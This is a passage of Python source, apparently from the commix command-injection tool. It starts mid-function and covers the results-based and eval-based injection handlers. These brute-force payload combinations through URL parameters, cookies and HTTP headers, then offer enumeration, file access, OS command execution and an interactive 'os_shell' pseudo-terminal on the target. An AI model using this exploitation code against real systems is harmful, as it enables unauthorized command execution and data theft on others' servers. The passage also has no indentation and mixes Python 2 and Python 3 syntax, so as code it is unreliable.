if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
cb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
cb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p) for p in shell)
except:
print ""
continue
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser(
)
shell = html_parser.unescape(
shell)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
if whitespace == " ":
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.EVAL_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(
separator, TAG, randv1, randv2)
# suffix = _urllib.parse.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + ")}" in payload:
payload = payload.replace(
")%3B" + ")}", ")" + ")}")
#payload = payload + TAG + ""
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.replace(" ", "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = eb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
time.sleep(timesec)
if settings.VERBOSITY_LEVEL == 0:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + " (" + str(
float_percent) + "%)"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(
float_percent) + "%)"
elif len(shell) != 0:
percent = settings.info_msg
else:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
# print(settings.SPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
if not menu.file_access_options(
) and not menu.options.os_cmd and new_line:
print(settings.SPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print(settings.SPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
print(settings.SPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print(settings.SPACE)
eb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
print(settings.SPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print(settings.SPACE)
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print(settings.SPACE)
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" + Style.RESET_ALL +
"' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = _input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
time.sleep(timesec)
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p)
for p in shell).replace(
" ", "", 1)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell != "":
shell = "".join(
str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print("\n" + Fore.GREEN +
Style.BRIGHT + shell +
Style.RESET_ALL + "\n")
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(
settings.
print_critical_msg(
err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(
settings.print_error_msg(err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()